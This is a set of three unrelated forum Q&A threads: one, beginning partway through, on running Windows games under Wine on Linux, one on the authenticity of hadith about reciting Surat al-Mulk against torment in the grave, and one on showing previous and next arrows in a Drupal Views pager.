However, the "most modern" games I own are Modern Warfare 2, Dragon Age: Origins and Fallout 3. All work fine on my i7 920 + Nvidia GTX260 but then again, I didn't buy them until I knew they would. In a perfect world, MW2 could run a little faster.
Dragon Age and Fallout both took a lot of wine-hacking to get working originally - They're somewhat easier now but I still patch in WinePulse to simplify audio problems.
For Source games (that is Valve, not the open- variety) like HL2, Left 4 Dead, TF2, etc, you'll find that things run pretty well.
Comment: Great, thanks for the input. wine-hacking aside, if you can run those, I think I'm ready to blow away my windows partition! (After getting a new graphics card :/ )
Answer: HalfLife 2, Left4Dead, Left4Dead2, Civilization V, Team Fortress 2 etc. with Codeweavers CX Games. Buy CX Games - it's a lot easier to use than wine and you will support wine development with your donation either.
Answer: For me, it was MLB 2k9 which amazingly runs pretty much flawlessly in Wine. The frame rates are around 20-30% slower than Windows - but still acceptable.
The cool thing was that it ran in Wine unmodified. (No tweaks or fiddling around.)
Disclaimer: I didn't test installing it. It was already installed when I tried running it in Wine.
Answer: Heros of Newerth (HoN) - a team strategy game like Dota (WC3)

It has a native linux version and installer.
Great graphics and is very addicting.
You can play it with your "windows friends" too ;-)


Surat Al-Mulk Grave torture savior by the will of Allah

Question: Brothers can you please confirm this, i have recently found out that memorizing surat al mulk and reciting it every night will save us from the grave torture, what ahadith is there to support this my brothers and sisters?
(https://www.youtube.com/watch?v=hspCap2jniw)
Answer: The narration it mentions is a saying of Abdullah bin Masoud and not the Prophets.  It goes as follows, Abdullah bin Masoud said =

من قرأ تبارك الذي بيده الملك كل ليلة منعه الله بها من عذاب القبر
"Whoever reads 'Tabaraka allathee biyadihialmulk' every night, Allah
  will protect him from the torment of the grave..."

Recorded in Sunan alKubra of Imam an-Nasai and it's not a saying of the Prophet and it's inauthentic anyways.
Two narrators are problematic.  First is عرفجة بن عبد الواحد who was not known to report hadith and any narrations related to him weren't taken unless there were other authentic ones to back him up.
Second problem is عاصم بن بهدلة who was a pious person and a reciter of the Quran.  Yet, in hadith he wasn't strong and made mistakes.  But even if his reports are accepted, عرفجة بن عبد الواحد aren't.
There are similar hadiths attributed to the Prophet =

إِنَّ سُورَةً مِنَ الْقُرْآنِ ثَلاَثُونَ آيَةً شَفَعَتْ لِرَجُلٍ
  حَتَّى غُفِرَ لَهُ وَهِيَ سُورَةُ تَبَارَكَ الَّذِي بِيَدِهِ الْمُلْكُ
"Indeed there's a Surah in the Quran of thirty verses, which
  intercedes for a man until he's forgiven. It is 'Tabaraka allathee
  biyadihialmulk'"

Recorded in Musnad Ahmed and Jami atTirmidhi both have the same reporters.  However it's also weak because of the ambiguity (tadlis) of Qatadah and obscurity of Abbas alJoshami.
So, neither of these two ahadith can be taken to be solid and are considered suspicious.
Comment: Jazak allah kher brother, how do i know which hadiths are accurate an of a accurate narrator therefore i wouldn't be misguided?
Comment: You can do research and read through books of hadith narrators and their verdicts on reporting.  You can ask someone who has the means or tools to do it and they can tell you.  A lot of it is logical and related to our daily life when we receive news, do you take it all or not? Why or why not?  Same with hadith except it's more strict.  I can recommend two books to get you started.  First you should read is "Notes on Hadith" by Mahmud Tahhan.  And other is "an Introduction to Science of Hadith" by ibn as-Salah.  Both have been translated into English.  InshaAllah they should be good milestones
Answer: I would like to add to the first reply that there are two further narrations which the responder did not mention.

It is narrated via Ibn al-Mubarak in Al-Mustadrak (2/540), which Al-Hakim classed Sahih to which Imam Dhahabi agreed upon, and via A'bd ar-Razzaq (6025), which Shaykh Albani classed Hasan in Sahih at-Targhib (2/192-3 - #1475) - to which he also classed the abbreviated version of Sunan al-Kubra (10479) as Hasan - that it is narrated in Mawquf form from Ibn Mas'ud:
'(Angels) will come to a man in his grave; they will come to his feet and his feet will say: You have no power over us; he used to recite Surah al-Mulk. Then they will come to his chest or his stomach and it will say: You have no power over me; he used to recite Surah al-Mulk. Then they will come to his head and it will say: You have no power over me; he used to recite Surah al-Mulk. So, it is the Mani'ah (protector) that protects against the punishment of the grave and it is referred to in the Torah as Surah al-Mulk, whoever recites it by night has done a great deal and has done well.'

These are the words of Ibn Mas'ud, and one can have hope that this Hadith serves the purpose to recite Surah al-Mulk every night for the protection against the punishment of the grave.
Along with that protection, it should be said that to attain any reward of such magnitude, reciting Ayatul Kursi after every prayer, and with many other examples; that it is necessary to lead a life of a Muslim who fears Allah as much as he can, to do as He commands, and to seek therefore His forgiveness as well as rewards.

Special mention:

It is narrated in At-Tirmidhi (2891), which Abu I'sa classed Hasan, as well as by Shaykh Albani in Sahih Abu Dawud (1265), that the Prophet (ﷺ) said:
"A Surah of the Qur'an containing thirty verses will intercede its reader  [on the Day of Judgement] till he will be forgiven. That is: Blessed is He in Whose Hand is the sovereignty." [Surah Al-Mulk]


How to display previous and next arrows in views

Question: I am trying to create a views block that will display one item on a page. I like to display next and previous arrows but I see the next arrow by default and I do not see the previous arrow until I am on 2nd page. I can remove the numbers but how can I display only next and previous arrows by default?

Answer: There can only be a previous button if there are content before the current page. So logically there is no content before page 1. So obviously there will not be any previous page to go to.
Comment: I would like to have previous link to go to the last item. So, if I have 4 items and I am on the first page Prev will take them to 4th item.
Comment: You need to add the text "last >>" for last link. If you want the user to go back to the previous page they were on, the browser back button is for that purpose.
Comment: Maybe you need just a Carrousel?